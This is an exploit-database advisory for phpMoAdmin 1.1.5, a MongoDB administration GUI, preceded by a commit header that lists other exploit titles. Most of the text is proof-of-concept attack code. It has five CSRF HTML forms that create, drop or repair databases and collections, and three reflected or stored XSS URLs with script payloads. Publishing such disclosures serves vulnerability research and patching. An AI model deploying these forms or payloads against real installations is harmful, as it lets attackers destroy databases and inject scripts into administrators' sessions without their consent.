deaee53895
19 changes to exploits/shellcodes Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC) SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC) Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC) KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation Mailcleaner - Authenticated Remote Code Execution (Metasploit) Embed Video Scripts - Persistent Cross-Site Scripting All in One Video Downloader 1.2 - Authenticated SQL Injection LayerBB 1.1.1 - Persistent Cross-Site Scripting MyBB OUGC Awards Plugin 1.8.3 - Persistent Cross-Site Scripting PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Scripting phpMoAdmin MongoDB GUI 1.1.5 - Cross-Site Request Forgery / Cross-Site Scripting Wordpress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation MyT Project Management 1.5.1 - 'Charge[group_total]' SQL Injection Roxy Fileman 1.4.5 - Unrestricted File Upload / Directory Traversal Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - Cross-Site Request Forgery Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - JS/HTML Code Injection Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)
157 lines
No EOL
3.6 KiB
Text
157 lines
No EOL
3.6 KiB
Text
##################################################################################################################################
|
|
# Exploit Title: phpMoAdmin 1.1.5 - MongoDB GUI | Multiple Vulnerabilities
|
|
# Date: 03.01.2019
|
|
# Exploit Author: Ozer Goker
|
|
# Vendor Homepage: http://www.phpmoadmin.com
|
|
# Software Link: http://www.phpmoadmin.com/file/phpmoadmin.zip
|
|
# Version: 1.1.5
|
|
##################################################################################################################################
|
|
|
|
Introduction
|
|
|
|
phpMoAdmin - MongoDB GUI
|
|
MongoDB administration tool for PHP
|
|
|
|
Vulnerabilities: CSRF | XSS Reflected & Stored
|
|
|
|
CSRF details:
|
|
|
|
#################################################################################
|
|
|
|
CSRF1
|
|
|
|
Create Database
|
|
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/phpmoadmin/moadmin.php" method="GET">
|
|
<input type="text" name="db" value="new.database"/>
|
|
<input type="text" name="newdb" value="testdb"/>
|
|
<input type="submit" value="Create DB"/>
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
#################################################################################
|
|
|
|
CSRF2
|
|
|
|
Drop Database
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/phpmoadmin/moadmin.php" method="GET">
|
|
<input type="text" name="action" value="dropDb"/>
|
|
<input type="text" name="db" value="testdb"/>
|
|
<input type="submit" value="Drop DB"/>
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
#################################################################################
|
|
|
|
CSRF3
|
|
|
|
Repair Database
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/phpmoadmin/moadmin.php" method="GET">
|
|
<input type="text" name="action" value="repairDb"/>
|
|
<input type="text" name="db" value="testdb"/>
|
|
<input type="submit" value="Repair DB"/>
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
#################################################################################
|
|
|
|
CSRF4
|
|
|
|
Add New Collection
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/phpmoadmin/moadmin.php" method="GET">
|
|
<input type="text" name="action" value="createCollection"/>
|
|
<input type="text" name="db" value="testdb"/>
|
|
<input type="text" name="collection" value="testcollection"/>
|
|
<input type="submit" value="Create Collection"/>
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
#################################################################################
|
|
|
|
CSRF5
|
|
|
|
Drop Collection
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/phpmoadmin/moadmin.php" method="GET">
|
|
<input type="text" name="action" value="dropCollection"/>
|
|
<input type="text" name="db" value="testdb"/>
|
|
<input type="text" name="collection" value="testcollection"/>
|
|
<input type="submit" value="Drop Collection"/>
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
#################################################################################
|
|
|
|
|
|
XSS details:
|
|
|
|
#################################################################################
|
|
|
|
XSS1 | Reflected
|
|
|
|
URL
|
|
http://localhost/phpmoadmin/moadmin.php?db=admin%3Cscript%3Ealert(1)%3C/script%3E
|
|
|
|
METHOD
|
|
Get
|
|
|
|
PARAMETER
|
|
db
|
|
|
|
PAYLOAD
|
|
<script>alert(1)</script>
|
|
|
|
#################################################################################
|
|
|
|
XSS2 | Reflected
|
|
|
|
URL
|
|
http://localhost/phpmoadmin/moadmin.php?db=new.database&newdb=testdb%3Cscript%3Ealert(2)%3C/script%3E
|
|
|
|
METHOD
|
|
Get
|
|
|
|
PARAMETER
|
|
newdb
|
|
|
|
PAYLOAD
|
|
<script>alert(2)</script>
|
|
|
|
#################################################################################
|
|
|
|
XSS3 | Stored
|
|
URL
|
|
http://localhost/phpmoadmin/moadmin.php?collection=%3Cscript%3Ealert%283%29%3C%2Fscript%3E&action=createCollection&db=testdb
|
|
|
|
METHOD
|
|
Get
|
|
|
|
PARAMETER
|
|
collection
|
|
|
|
PAYLOAD
|
|
<script>alert(3)</script>
|
|
|
|
|
|
################################################################################# |